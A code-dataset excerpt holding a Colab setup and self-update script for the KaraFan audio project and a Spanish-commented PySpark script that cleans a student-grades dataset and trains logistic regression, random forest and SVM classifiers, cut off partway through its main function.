"file_size_in_byte": 1976, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "71", "api": [{"api_name": "terra_sdk.client.lcd.LCDClient", "line_number": 11, "usage_type": "call"}, {"api_name": "terra_sdk.key.mnemonic.MnemonicKey", "line_number": 17, "usage_type": "call"}, {"api_name": "base64.b64encode", "line_number": 22, "usage_type": "call"}, {"api_name": "terra_sdk.core.wasm.MsgStoreCode", "line_number": 23, "usage_type": "call"}, {"api_name": "terra_sdk.core.auth.data.tx.StdFee", "line_number": 26, "usage_type": "call"}, {"api_name": "terra_sdk.core.wasm.MsgInstantiateContract", "line_number": 33, "usage_type": "call"}, {"api_name": "terra_sdk.core.wasm.MsgExecuteContract", "line_number": 51, "usage_type": "call"}, {"api_name": "terra_sdk.core.auth.data.tx.StdFee", "line_number": 59, "usage_type": "call"}]}
{"seq_id": "32385422907", "text": "\nimport os, gc, requests, subprocess\n\ndef Check_dependencies():\n\n\t# Dependencies already installed ?\n\tprint(\"Installing dependencies... This will take few minutes...\", end='')\n\ttry:\n\t\tsubprocess.run([\"pip\", \"install\", \"-r\", \"requirements.txt\"], text=True, capture_output=True, check=True)\n\t\t\n\t\tprint(\"\\rInstallation done !                                     \") # Clean line\n\t\n\texcept subprocess.CalledProcessError as e:\n\t\tprint(\"Error during Install dependencies :\\n\" + e.stderr + \"\\n\" + e.stdout + \"\\n\")\n\t\tExit_Notebook()\n\ndef Install(params):\n\t\n\t# This is setup is only for Colab !!\n\n\tif params['isColab'] == False:  return\n\n\tRepository  = \"https://github.com/Captain-FLAM/KaraFan\"\n\tVersion_url = \"https://raw.githubusercontent.com/Captain-FLAM/KaraFan/master/App/__init__.py\"\n\n\tVersion = \"\"; Git_version = \"\"\n\n\tGdrive = params['Gdrive']\n\tProject = params['Project']\n\tDEV_MODE = params['I_AM_A_DEVELOPER']\n\n\tif not os.path.exists(Gdrive):\n\t\tprint(\"ERROR : Google Drive path is not valid !\\n\")\n\t\tExit_Notebook()\n\t\n\t# Create missing folders\n\tuser_folder = os.path.join(Gdrive, \"KaraFan_user\")\n\tos.makedirs(user_folder, exist_ok=True)\n\tos.makedirs(os.path.join(user_folder, \"Models\"), exist_ok=True)\n\n\tos.chdir(Project)  # For pip install\n\n\tCheck_dependencies()\n\t\n\t# Get local version\n\twith open(os.path.join(Project, \"App\", \"__init__.py\"), \"r\") as version_file:\n\t\tVersion = version_file.readline().replace(\"# Version\", \"\").strip()\n\n\t# Auto-Magic update !\n\ttry:\n\t\tresponse = requests.get(Version_url)\n\t\tif response.status_code == requests.codes.ok:\n\t\t\tGit_version = response.text.split('\\n')[0].replace(\"# Version\", \"\").strip()\n\t\telse:\n\t\t\tprint(\"Unable to check version on GitHub ! Maybe you're behind a firewall ?\")\n\texcept ValueError as e:\n\t\tprint(\"Error processing version data :\", e)\n\texcept requests.exceptions.ConnectionError as e:\n\t\tprint(\"Connection error while trying to fetch version :\", e)\n\n\tif Version and Git_version:\n\t\tif Git_version > Version:\n\t\t\tprint(f'A new version of \"KaraFan\" is available : {Git_version} !')\n\n\t\t\twarning = 'You have to download the new version manually from :\\n'\n\t\t\twarning += Repository\n\t\t\twarning +='\\n... and extract it in your Project folder.\\n'\n\t\t\twarning +='Then, you have to \"Restart\" the notebook to use the new version of \"KaraFan\" !\\n\\n'\n\t\t\t\n\t\t\tif DEV_MODE:\n\t\t\t\tprint(warning)\n\t\t\telse:\n\t\t\t\tif os.path.exists(os.path.join(Project, \".git\")):\n\t\t\t\t\ttry:\n\t\t\t\t\t\tsubprocess.run([\"git\", \"-C\", Project, \"pull\"], text=True, capture_output=True, check=True)\n\n\t\t\t\t\t\tCheck_dependencies()\n\n\t\t\t\t\t\tprint('\\n\\nFOR NOW : you have to go AGAIN in Colab menu, \"Runtime > Restart and Run all\" to use the new version of \"KaraFan\" !\\n\\n')\n\n\t\t\t\t\t\tExit_Notebook()\n\t\t\t\t\t\t\n\t\t\t\t\texcept subprocess.CalledProcessError as e:\n\t\t\t\t\t\tif e.returncode == 127:\n\t\t\t\t\t\t\tprint('WARNING : \"Git\" is not installed on your system !\\n' + warning)\n\t\t\t\t\t\telse:\n\t\t\t\t\t\t\tprint(\"Error during Update :\\n\" + e.stderr + \"\\n\" + e.stdout)\n\t\t\t\t\t\t\tExit_Notebook()\n\t\telse:\n\t\t\tprint('\"KaraFan\" is up to date.')\n\ndef Exit_Notebook():\n\tgc.collect()\n\t# This trick is copyrigthed by \"Captain FLAM\" (2023) - MIT License\n\t# That means you can use it, but you have to keep this comment in your code.\n\t# After deep researches, I found this trick that nobody found before me !!!\n\tfrom google.colab import runtime\n\truntime.unassign()\n", "repo_name": "Captain-FLAM/KaraFan", "sub_path": "App/setup.py", "file_name": "setup.py", "file_ext": "py", "file_size_in_byte": 3311, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 40, "dataset": "github-code", "pt": "71", "api": [{"api_name": "subprocess.run", "line_number": 9, "usage_type": "call"}, {"api_name": "subprocess.CalledProcessError", "line_number": 13, "usage_type": "attribute"}, {"api_name": "os.path.exists", "line_number": 32, "usage_type": "call"}, {"api_name": "os.path", "line_number": 32, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 37, "usage_type": "call"}, {"api_name": "os.path", "line_number": 37, "usage_type": "attribute"}, {"api_name": "os.makedirs", "line_number": 38, "usage_type": "call"}, {"api_name": "os.makedirs", "line_number": 39, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 39, "usage_type": "call"}, {"api_name": "os.path", "line_number": 39, "usage_type": "attribute"}, {"api_name": "os.chdir", "line_number": 41, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 46, "usage_type": "call"}, {"api_name": "os.path", "line_number": 46, "usage_type": "attribute"}, {"api_name": "requests.get", "line_number": 51, "usage_type": "call"}, {"api_name": "requests.codes", "line_number": 52, "usage_type": "attribute"}, {"api_name": "requests.exceptions", "line_number": 58, "usage_type": "attribute"}, {"api_name": "os.path.exists", "line_number": 73, "usage_type": "call"}, {"api_name": "os.path", "line_number": 73, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 73, "usage_type": "call"}, {"api_name": "subprocess.run", "line_number": 75, "usage_type": "call"}, {"api_name": "subprocess.CalledProcessError", "line_number": 83, "usage_type": "attribute"}, {"api_name": "gc.collect", "line_number": 93, "usage_type": "call"}, {"api_name": "google.colab.runtime.unassign", "line_number": 98, "usage_type": "call"}, {"api_name": "google.colab.runtime", "line_number": 98, "usage_type": "name"}]}
{"seq_id": "7929118616", "text": "#----------------------------------------------------------------------------#\n#       Procesamiento de grandes volumenes de datos 2020-2                   #\n#               Proyecto 1 (data cleaning + MLlib)                           #\n#                       Alejandro Ayala Gil                                  #\n#                       Esteban Cardona Gil                                  #\n#                    Juan Camilo Gomez Muñoz                                 #\n#                        Julian Paredes C                                    #\n#                    Tania C. Obando Suárez                                  #\n#----------------------------------------------------------------------------#\n\n#Importando librerias\nimport findspark \nfindspark.init()\nfrom pyspark import SparkConf, SparkContext\nfrom pyspark.sql import SQLContext, Row\nfrom pyspark.sql import SparkSession, DataFrameStatFunctions, DataFrameNaFunctions\nfrom pyspark.sql.functions import *\nimport seaborn as sns\nimport matplotlib.pyplot as plt\nfrom pyspark.ml.classification import LogisticRegression, RandomForestClassifier\nfrom pyspark.ml.classification import LinearSVC\nfrom pyspark.ml.feature import VectorAssembler\nfrom pyspark.ml.evaluation import BinaryClassificationEvaluator\nfrom pyspark.ml.evaluation import MulticlassClassificationEvaluator\n\n\n#------------------------FUNCIONES AUXILIARES----------------------------------#\n\ndef correlation(dataframe,headings):\n    n = len(headings)\n    corr = [[1 for _ in range(n)] for _ in range(n)]\n    dic=dict()\n    for i in range(n):\n        for j in range(i+1,n):\n            corr[i][j] = dataframe.corr(headings[i],headings[j])\n            corr[j][i] = corr[i][j]\n            if corr[i][j]>0.70:\n                dic[(headings[i],headings[j])]=corr[i][j]\n    print(dic)\n    \n    #Analizar correlaciones a partir del mapa de calor de correlaciones\n\n    \"\"\"\n    #Correlaciones positivamente fuertes\n    print('Correlación entre G1 y G2:', df.corr('G1','G2'))\n    print('Correlación entre G1 y G3:', df.corr('G1','G3'))\n    print('Correlación entre G2 y G3:', df.corr('G2','G3'))\n\n    #Correlaciones positivamente moderadas\n    print('Correlación entre Medu y Fedu:', df.corr('Medu','Fedu'))\n    print('Correlación entre Walc y Dalc:', df.corr('Walc','Dalc'))\n\n    #Correlaciones negativamente moderadas\n    print('Correlación entre school y address:', df.corr('school','address'))\n    print('Correlación entre traveltime y address:', df.corr('traveltime','address'))\n    print('Correlación entre failures y G1:', df.corr('failures','G1'))\n    print('Correlación entre failures y G2:', df.corr('failures','G2'))\n    print('Correlación entre failures y G3:', df.corr('failures','G3'))\n    \"\"\"          \n    return corr\n\n#-----------------CONOCIMIENTO Y LIMPIEZA DE LOS DATOS------------------------#\n\ndef  nullData(df):\n    #Datos nulos\n    total_null = df.filter(\"school is null\").count() + df.filter(\"sex is null\").count() + df.filter(\"age is null\").count()\n    total_null+= df.filter(\"address is null\").count() + df.filter(\"famsize is null\").count() + df.filter(\"Pstatus is null\").count()\n    total_null+= df.filter(\"Medu is null\").count() + df.filter(\"Fedu is null\").count() + df.filter(\"Mjob is null\").count()\n    total_null+= df.filter(\"Fjob is null\").count() + df.filter(\"reason is null\").count() + df.filter(\"guardian is null\").count()\n    total_null+= df.filter(\"traveltime is null\").count() + df.filter(\"studytime is null\").count() + df.filter(\"failures is null\").count()\n    total_null+= df.filter(\"schoolsup is null\").count() + df.filter(\"famsup is null\").count() + df.filter(\"paid is null\").count()\n    total_null+= df.filter(\"activities is null\").count() + df.filter(\"nursery is null\").count() + df.filter(\"higher is null\").count()\n    total_null+= df.filter(\"internet is null\").count() + df.filter(\"romantic is null\").count() + df.filter(\"famrel is null\").count()\n    total_null+= df.filter(\"freetime is null\").count() + df.filter(\"goout is null\").count() + df.filter(\"Dalc is null\").count()\n    total_null+= df.filter(\"Walc is null\").count() + df.filter(\"health is null\").count() + df.filter(\"absences is null\").count()\n    total_null+= df.filter(\"G1 is null\").count() + df.filter(\"G2 is null\").count() + df.filter(\"G3 is null\").count()\n    print(total_null,\"total_null\")\n    return(total_null)\n    #Encontramos que el dataframe inicial no tiene datos faltantes o datos nulos.\n\ndef categoricalToNumerical(df):\n\n    #Reemplazar valores categoricos a númericos\n    df = df.withColumn(\"school\", regexp_replace(\"school\", \"GP\", \"0\"))\n    df = df.withColumn(\"school\", regexp_replace(\"school\", \"MS\", \"1\"))\n    df = df.withColumn(\"sex\", regexp_replace(\"sex\", \"F\", \"0\"))\n    df = df.withColumn(\"sex\", regexp_replace(\"sex\", \"M\", \"1\"))\n    df = df.withColumn(\"address\", regexp_replace(\"address\", \"R\", \"0\"))\n    df = df.withColumn(\"address\", regexp_replace(\"address\", \"U\", \"1\"))\n    df = df.withColumn(\"famsize\", regexp_replace(\"famsize\", \"LE3\", \"0\"))\n    df = df.withColumn(\"famsize\", regexp_replace(\"famsize\", \"GT3\", \"1\"))\n    df = df.withColumn(\"Pstatus\", regexp_replace(\"Pstatus\", \"A\", \"0\"))\n    df = df.withColumn(\"Pstatus\", regexp_replace(\"Pstatus\", \"T\", \"1\"))\n    df = df.withColumn(\"Mjob\", regexp_replace(\"Mjob\", \"other\", \"0\"))\n    df = df.withColumn(\"Mjob\", regexp_replace(\"Mjob\", \"at_home\", \"1\"))\n    df = df.withColumn(\"Mjob\", regexp_replace(\"Mjob\", \"teacher\", \"2\"))\n    df = df.withColumn(\"Mjob\", regexp_replace(\"Mjob\", \"services\", \"3\"))\n    df = df.withColumn(\"Mjob\", regexp_replace(\"Mjob\", \"health\", \"4\"))\n    df = df.withColumn(\"Fjob\", regexp_replace(\"Fjob\", \"other\", \"0\"))\n    df = df.withColumn(\"Fjob\", regexp_replace(\"Fjob\", \"at_home\", \"1\"))\n    df = df.withColumn(\"Fjob\", regexp_replace(\"Fjob\", \"teacher\", \"2\"))\n    df = df.withColumn(\"Fjob\", regexp_replace(\"Fjob\", \"services\", \"3\"))\n    df = df.withColumn(\"Fjob\", regexp_replace(\"Fjob\", \"health\", \"4\"))\n    df = df.withColumn(\"reason\", regexp_replace(\"reason\", \"other\", \"0\"))\n    df = df.withColumn(\"reason\", regexp_replace(\"reason\", \"home\", \"1\"))\n    df = df.withColumn(\"reason\", regexp_replace(\"reason\", \"reputation\", \"2\"))\n    df = df.withColumn(\"reason\", regexp_replace(\"reason\", \"course\", \"3\"))\n    df = df.withColumn(\"guardian\", regexp_replace(\"guardian\", \"father\", \"1\"))\n    df = df.withColumn(\"guardian\", regexp_replace(\"guardian\", \"mother\", \"2\"))\n    df = df.withColumn(\"guardian\", regexp_replace(\"guardian\", \"other\", \"0\"))\n    df = df.withColumn(\"schoolsup\", regexp_replace(\"schoolsup\", \"no\", \"0\"))\n    df = df.withColumn(\"schoolsup\", regexp_replace(\"schoolsup\", \"yes\", \"1\"))\n    df = df.withColumn(\"famsup\", regexp_replace(\"famsup\", \"no\", \"0\"))\n    df = df.withColumn(\"famsup\", regexp_replace(\"famsup\", \"yes\", \"1\"))\n    df = df.withColumn(\"paid\", regexp_replace(\"paid\", \"no\", \"0\"))\n    df = df.withColumn(\"paid\", regexp_replace(\"paid\", \"yes\", \"1\"))\n    df = df.withColumn(\"activities\", regexp_replace(\"activities\", \"no\", \"0\"))\n    df = df.withColumn(\"activities\", regexp_replace(\"activities\", \"yes\", \"1\"))\n    df = df.withColumn(\"nursery\", regexp_replace(\"nursery\", \"no\", \"0\"))\n    df = df.withColumn(\"nursery\", regexp_replace(\"nursery\", \"yes\", \"1\"))\n    df = df.withColumn(\"higher\", regexp_replace(\"higher\", \"no\", \"0\"))\n    df = df.withColumn(\"higher\", regexp_replace(\"higher\", \"yes\", \"1\"))\n    df = df.withColumn(\"internet\", regexp_replace(\"internet\", \"no\", \"0\"))\n    df = df.withColumn(\"internet\", regexp_replace(\"internet\", \"yes\", \"1\"))\n    df = df.withColumn(\"romantic\", regexp_replace(\"romantic\", \"no\", \"0\"))\n    df = df.withColumn(\"romantic\", regexp_replace(\"romantic\", \"yes\", \"1\"))\n    #df.show()\n    return(df)\n\ndef stringToInt(df):\n\n    #Casteo de todos los datos de string a int\n    df = df.withColumn('school', df.school.astype(\"int\"))\n    df = df.withColumn('sex', df.sex.astype(\"int\"))\n    df = df.withColumn('age', df.age.astype(\"int\"))\n    df = df.withColumn('address', df.address.astype(\"int\"))\n    df = df.withColumn('famsize', df.famsize.astype(\"int\"))\n    df = df.withColumn('Pstatus', df.Pstatus.astype(\"int\"))\n    df = df.withColumn('Medu', df.Medu.astype(\"int\"))\n    df = df.withColumn('Fedu', df.Fedu.astype(\"int\"))\n    df = df.withColumn('Mjob', df.Mjob.astype(\"int\"))\n    df = df.withColumn('Fjob', df.Fjob.astype(\"int\"))\n    df = df.withColumn('reason', df.reason.astype(\"int\"))\n    df = df.withColumn('guardian', df.guardian.astype(\"int\"))\n    df = df.withColumn('traveltime', df.traveltime.astype(\"int\"))\n    df = df.withColumn('studytime', df.studytime.astype(\"int\"))\n    df = df.withColumn('failures', df.failures.astype(\"int\"))\n    df = df.withColumn('schoolsup', df.schoolsup.astype(\"int\"))\n    df = df.withColumn('famsup', df.famsup.astype(\"int\"))\n    df = df.withColumn('paid', df.paid.astype(\"int\"))\n    df = df.withColumn('activities', df.activities.astype(\"int\"))\n    df = df.withColumn('nursery', df.nursery.astype(\"int\"))\n    df = df.withColumn('higher', df.higher.astype(\"int\"))\n    df = df.withColumn('internet', df.internet.astype(\"int\"))\n    df = df.withColumn('romantic', df.romantic.astype(\"int\"))\n    df = df.withColumn('famrel', df.famrel.astype(\"int\"))\n    df = df.withColumn('freetime', df.freetime.astype(\"int\"))\n    df = df.withColumn('goout', df.goout.astype(\"int\"))\n    df = df.withColumn('Dalc', df.Dalc.astype(\"int\"))\n    df = df.withColumn('Walc', df.Walc.astype(\"int\"))\n    df = df.withColumn('health', df.health.astype(\"int\"))\n    df = df.withColumn('absences', df.absences.astype(\"int\"))\n    df = df.withColumn('G1', df.G1.astype(\"int\"))\n    df = df.withColumn('G2', df.G2.astype(\"int\"))\n    df = df.withColumn('G3', df.G3.astype(\"int\"))\n    #df.show()\n    return(df)\n\ndef approvedOrReproved(df):\n    \"\"\"\n    Aquí defininimos un umbral del 60% de la nota máxima para\n    establecer quienes aprueban y quienes reprueban.\n\n    Nota: Es importante hacer un casteo luego de unir la partición de los datasets,\n    obtuvimos algunos errores por omitir esto.\n    \"\"\"\n\n    #Estableciendo umbral para el primer periodo\n    df = df.withColumn('G1', df.G1.astype(\"int\"))\n    approved = df.filter(df.G1 >= 12)\n    reproved = df.filter(df.G1 < 12)\n    for i in range(12):\n        reproved = reproved.withColumn(\"G1\", regexp_replace(\"G1\", \"{}\".format(i), \"0\"))\n    for i in range(12,20):\n        approved = approved.withColumn(\"G1\", regexp_replace(\"G1\", \"{}\".format(i), \"1\"))\n\n    df = approved.union(reproved)\n    df = df.withColumn('G1', df.G1.astype(\"int\"))\n\n    #Estableciendo umbral para el segundo periodo\n    df = df.withColumn('G2', df.G2.astype(\"int\"))\n    approved = df.filter(df.G2 >= 12)\n    reproved = df.filter(df.G2 < 12)\n    for i in range(12):\n        reproved = reproved.withColumn(\"G2\", regexp_replace(\"G2\", \"{}\".format(i), \"0\"))\n    for i in range(12,20):\n        approved = approved.withColumn(\"G2\", regexp_replace(\"G2\", \"{}\".format(i), \"1\"))\n    df = approved.union(reproved)\n    df = df.withColumn('G2', df.G2.astype(\"int\"))\n\n    #Estableciendo umbral para el tercer periodo\n    df = df.withColumn('G3', df.G3.astype(\"int\"))\n    approved = df.filter(df.G3 >= 12)\n    reproved = df.filter(df.G3 < 12)\n    for i in range(12):\n        reproved = reproved.withColumn(\"G3\", regexp_replace(\"G3\", \"{}\".format(i), \"0\"))\n    for i in range(12,20):\n        approved = approved.withColumn(\"G3\", regexp_replace(\"G3\", \"{}\".format(i), \"1\"))\n        \n    #print('Número de estudiantes que rerobaron:', reproved.count())\n    #print('Número de estudiantes que aprobaron:', approved.count())\n    #Aquí obtuvimos 301 estudiantes reprobados y 348 estudiantes aprobados\n\n    df = approved.union(reproved)\n    df = df.withColumn('G3', df.G3.astype(\"int\"))\n\n    #df.count()\n    #df.show()\n    return(df)\n\n#----------------------------------ANALISIS-----------------------------------#\n\n#Visualización de las medidas de centralidad\n\ndef describeData(df):\n    #información estadistica acerca de los datos \n    df.describe().toPandas()\n    df.toPandas().mode()\n\ndef boxWhiskerPlot(df,headings):\n    #Diagramas de cajas y bigotes \n    for x in headings:\n        print(x)\n        plt.boxplot(df.toPandas()[x],vert = 0)\n        plt.show()\n\ndef countAtypicValues(df):\n    #Analisis de los diagramas \n    #cantidad de datos atipicos\n\n    atypic_age_22=df.filter(df['age'] == 22).count()\n    atypic_p_status_0=df.filter(df['Pstatus'] == 0).count()#viven padres juntos o separados \n    atypic_travel_time_4=df.filter(df['traveltime'] == 4).count()#tiempo de la casa a el colegio\n    atypic_studytime_4=df.filter(df['studytime'] == 4).count()#tiempo de estudio\n    atypic_failures_1=df.filter(df['failures'] == 1).count()#número de fallos de clases anteriores\n    atypic_failures_2=df.filter(df['failures'] == 2).count()\n    atypic_failures_3=df.filter(df['failures'] == 3).count() \n    atypic_schoolsup_1=df.filter(df['schoolsup'] == 1).count()#apoyo educativo adicional\n    atypic_paid_1=df.filter(df['paid'] == 1).count()#clases extra pagadas dentro de la asignatura del curso (portugués)\n    atypic_nursery_0=df.filter(df['nursery'] == 0).count()#asistio a la guarderia\n    atypic_higher_0=df.filter(df['higher'] == 0).count()#piensa  cursar estudios superiores\n    atypic_internet_0=df.filter(df['internet'] == 0).count()\n    atypic_famrel_1=df.filter(df['famrel'] == 1).count()#calidad de las relaciones familiares\n    atypic_famrel_2=df.filter(df['famrel'] == 2).count()\n    atypic_freetime_1=df.filter(df['freetime'] == 1).count()#tiempo libre despues de la escuela\n    atypic_Dalc_4=df.filter(df['Dalc'] == 4).count()# consumo de alcohol entre semana\n    atypic_Dalc_5=df.filter(df['Dalc'] == 5).count()\n    atypic_absences=df.filter(df['absences'] > 16).count()#numero de ausencias escolares\n\n    print(\"atypic_age_22:\",atypic_age_22)\n    print(\"atypic_p_status_0:\",atypic_p_status_0)\n    print(\"atypic_travel_time_4:\",atypic_travel_time_4)\n    print(\"atypic_studytime_4:\",atypic_studytime_4)\n    print(\"atypic_failures_1:\",atypic_failures_1)\n    print(\"atypic_failures_2:\",atypic_failures_2)\n    print(\"atypic_failures_3:\",atypic_failures_3)\n    print(\"atypic_schoolsup_1:\",atypic_schoolsup_1)\n    print(\"atypic_paid_1:\",atypic_paid_1)\n    print(\"atypic_nursery_0:\",atypic_nursery_0)\n    print(\"atypic_higher_0:\",atypic_higher_0)\n    print(\"atypic_internet_0:\",atypic_internet_0)\n    print(\"atypic_famrel_1:\",atypic_famrel_1)\n    print(\"atypic_famrel_2:\",atypic_famrel_2)\n    print(\"atypic_freetime_1:\",atypic_freetime_1)\n    print(\"atypic_Dalc_4:\",atypic_Dalc_4)\n    print(\"atypic_Dalc_5:\",atypic_Dalc_5)\n    print(\"atypic_absences:\",atypic_absences)\n\ndef dropAtypicValues(df):\n    \"\"\"\n    Eliminación de datos atipicos\n    Nota: Para esta fase establecimos que estabamos dispuestos a eliminar hasta un 10%\n    del total de los datos del dataset (649).\n    \"\"\"\n    df=df.filter(df['age'] != 22)\n    df=df.filter(df['traveltime'] != 4)\n    df=df.filter(df['absences'] <17)\n    df=df.filter(df['Dalc'] != 5)\n    #df.count()\n    #Al depurar los datos atípicos, terminamos con un total de 608 datos.\n    return(df)\n\ndef dataBalancing(df):\n\n    #Mirar balance de los datos\n\n    approved = df.filter(df.G3 == 1)\n    reproved = df.filter(df.G3 == 0)\n\n    \"\"\"\n    print(\"cantidad final de estudiantes aprobados\",approved.count())\n    print(\"cantidad final de estudiantes reprobados\",reproved.count())\n    \"\"\"\n\n    #Aplicar un balanceo de los datos reduciendo la clase mayorataria\n    approved=approved.sample(fraction=0.809,seed = 9403040)\n    #print( \"approved\",approved.count())\n    df = approved.union(reproved)\n\n    print(df.dtypes,\"df.dtypes_dataBalancing\")\n\n    return(df)\n\n#-------------------------REGRESION LOGISTICA-----------------------------#\n#NOTA: En este modelo se intento variar el parametro de maxIter en ambos datasets,\n#pero este parametro no afectaba el desempeño del modelo en este caso.\n\ndef logistic_Regression(df,trainingData,testData,maxIterValue,thresholdValue,familyValue):\n\n    print(\"\\n\")\n    print(\"logistic_Regression\")\n\n    lr = LogisticRegression(labelCol=\"G3\", featuresCol=\"features\",maxIter=maxIterValue,\n                                            threshold=thresholdValue, family=familyValue)\n\n   # Fit the model\n\n    model = lr.fit(trainingData)\n\n   # make predictions using our trained model\n\n    predictions = model.transform(testData)\n\n    # estimate the accuracy of the prediction\n\n    multi_evaluator = MulticlassClassificationEvaluator(labelCol=\"G3\", predictionCol=\"prediction\", metricName=\"accuracy\")\n    accuracy = multi_evaluator.evaluate(predictions)\n\n    multi_evaluator = multi_evaluator.setMetricName('precisionByLabel')\n    precision = multi_evaluator.evaluate(predictions)\n\n    multi_evaluator = multi_evaluator.setMetricName('recallByLabel')\n    recall = multi_evaluator.evaluate(predictions)\n    \n    multi_evaluator = multi_evaluator.setMetricName('f1')\n    f1_score = multi_evaluator.evaluate(predictions)\n\n    bin_evaluator = BinaryClassificationEvaluator(labelCol=\"G3\", rawPredictionCol=\"prediction\", metricName=\"areaUnderROC\")\n    area = bin_evaluator.evaluate(predictions)\n\n\n    print(\"Accuracy = {}\".format(accuracy))\n    print(\"Precision = {}\".format(precision))\n    print(\"Recall = {}\".format(recall))\n    print(\"F1 score = {}\".format(f1_score))\n    print(\"Area under ROC curve = {}\".format(area))\n\n    return (model)\n\n#----------------------------MACHINE LEARNING--------------------------------#\n\n#-----------------------------RANDOM FOREST----------------------------------#\n\n# Random Forest\n\ndef random_Forest(df,trainingData,testData,numTreesValue,maxDepthValue,featureSubsetStrategyValue):\n    \n    print(\"\\n\")\n    print(\"random_Forest\")\n    rf = RandomForestClassifier(labelCol=\"G3\", featuresCol=\"features\", numTrees=numTreesValue,maxDepth=maxDepthValue,\n                                             featureSubsetStrategy=featureSubsetStrategyValue)\n\n    # Fit the model\n    model = rf.fit(trainingData)\n\n    # make predictions using our trained model\n    predictions = model.transform(testData)\n\n    # estimate the accuracy of the prediction\n    multi_evaluator = MulticlassClassificationEvaluator(labelCol=\"G3\", predictionCol=\"prediction\", metricName=\"accuracy\")\n    accuracy = multi_evaluator.evaluate(predictions)\n\n    multi_evaluator = multi_evaluator.setMetricName('precisionByLabel')\n    precision = multi_evaluator.evaluate(predictions)\n        \n    multi_evaluator = multi_evaluator.setMetricName('recallByLabel')\n    recall = multi_evaluator.evaluate(predictions)\n\n    multi_evaluator = multi_evaluator.setMetricName('f1')\n    f1_score = multi_evaluator.evaluate(predictions)\n    bin_evaluator = BinaryClassificationEvaluator(labelCol=\"G3\", rawPredictionCol=\"prediction\", metricName=\"areaUnderROC\")\n    area = bin_evaluator.evaluate(predictions)\n    \n    print(\"Accuracy = {}\".format(accuracy))\n    print(\"Precision = {}\".format(precision))\n    print(\"Recall = {}\".format(recall))\n    print(\"F1 score = {}\".format(f1_score))\n    print(\"Area under ROC curve = {}\".format(area))\n    \n    # print model summary\n    return (model)\n\n\n#--------------------VECTOR DE MÁQUINA DE SOPORTES------------------------#\n#NOTA: Este modelo cuenta con los siguientes párametros predeterminados:\n#      maxIter = 100\n#      threshold = 0.0\n#      aggregationDepth = 0.2\n#      regParam = 0.0\n#------------------------------Dataset 1----------------------------------#\n\ndef svm(df,trainingData,testData,maxIterValue,regParamValue,depth,thresholdValue):\n\n    print(\"\\n\")\n    print(\"mvs\")\n            \n    svm = LinearSVC(labelCol=\"G3\", featuresCol=\"features\", maxIter=maxIterValue, regParam=regParamValue, aggregationDepth=depth, threshold=thresholdValue)\n\n    # Fit the model\n    model = svm.fit(trainingData)\n\n    # make predictions using our trained model\n\n    predictions = model.transform(testData)\n\n    # estimate the accuracy of the prediction\n    #Métricas de evaluación\n    multi_evaluator = MulticlassClassificationEvaluator(labelCol=\"G3\", predictionCol=\"prediction\", metricName=\"accuracy\")\n    accuracy = multi_evaluator.evaluate(predictions)\n\n    multi_evaluator = multi_evaluator.setMetricName('precisionByLabel')\n    precision = multi_evaluator.evaluate(predictions)\n\n    multi_evaluator = multi_evaluator.setMetricName('f1')\n    f1_score = multi_evaluator.evaluate(predictions)\n    \n    multi_evaluator = multi_evaluator.setMetricName('recallByLabel')\n    recall = multi_evaluator.evaluate(predictions)\n\n    bin_evaluator = BinaryClassificationEvaluator(labelCol=\"G3\", rawPredictionCol=\"prediction\", metricName=\"areaUnderROC\")\n    area = bin_evaluator.evaluate(predictions)\n    \n    print(\"Accuracy = {}\".format(accuracy))\n    print(\"Precision = {}\".format(precision))\n    print(\"Recall = {}\".format(recall))\n    print(\"F1 score = {}\".format(f1_score))\n    print(\"Area under ROC curve = {}\".format(area))\n    return (model)\n\n\ndef main():\n\n    #Encabezado del dataframe\n    headings = ['school','sex','age','address','famsize','Pstatus','Medu','Fedu','Mjob',\n     'Fjob','reason','guardian','traveltime','studytime','failures','schoolsup',\n     'famsup','paid','activities','nursery','higher','internet','romantic',\n     'famrel','freetime','goout','Dalc','Walc','health','absences','G1','G2','G3']\n    spark = SparkSession.builder.appName(\"Student\").getOrCreate()\n\n    #Crear dataframe\n    df=spark.read.csv('student-por.csv',sep=';',header=True)\n    \n    \"\"\"\n    #Visualización del dataframe\n    df.show()\n\n    #Tamaño del dataset\n    print(df.count())\n    El dataframe tiene 649 registros\n\n    #Tipo de dato de cada variable\n    print(df.dtypes)\n    #NOTA:Todos los datos del dataframe inicial son de tipo string\n\n    \"\"\"\n\n    #Cantidad de datos nulos \n    nullData(df)\n    #Reemplazar valores categoricos a numericos\n    df=categoricalToNumerical(df)\n\n    #Convertir los datos de string a int\n    df=stringToInt(df)\n\n    #Convertir variables categorica a numericas\n    df=approvedOrReproved(df)\n    \n    #Visualizar la correlación de las variables\n    #correlacion = correlation(df,headings)\n    #sns.heatmap(correlacion, square=True)\n\n    #describeData(df)\n    #boxWhiskerPlot(df,headings)\n\n    countAtypicValues(df)\n\n    df=dropAtypicValues(df)\n\n    df=dataBalancing(df)\n\n    #------------------------CREACIÓN DE LOS DATASETS FINALES---------------------#\n\n    #Crear vectores assembler\n    vector1 = VectorAssembler(inputCols=['school','sex','age','address','famsize','Pstatus','Medu','Fedu','Mjob',\n        'Fjob','reason','guardian','traveltime','studytime','failures','schoolsup','famsup','paid','activities',\n        'nursery','higher','internet','romantic','famrel','freetime','goout','Dalc','Walc','health','absences'],\n        outputCol=\"features\")\n\n    #Adaptar los vectores al conjunto de datos\n\n    df1_temp = vector1.transform(df)\n    \n    #df_temp.show(5)\n    # get dataframe with all necessary data in the appropriate form\n\n    df1 = df1_temp.drop('school','sex','age','address','famsize','Pstatus','Medu','Fedu',\n        'Mjob','Fjob','reason','guardian','traveltime','studytime','failures','schoolsup',\n        'famsup','paid','activities','nursery','higher','internet','romantic',\n        'famrel','freetime','goout','Dalc','Walc','health','absences','G1','G2')\n        \n    #Partición de los dataframes\n\n    trainingData_1, testData_1= df1.randomSplit([0.7,0.3],seed=2102020)\n\n    print(\"Sin G1 y G2\")\n\n    #Modelo regresión logistica-dataset1 con el mejor desempeño\n    rl1_model1=logistic_Regression(df1,trainingData_1,testData_1,maxIterValue=50,thresholdValue=0.55,familyValue='binomial')\n\n    #Otros modelos de regresión logística evaluados para el dataset1\n    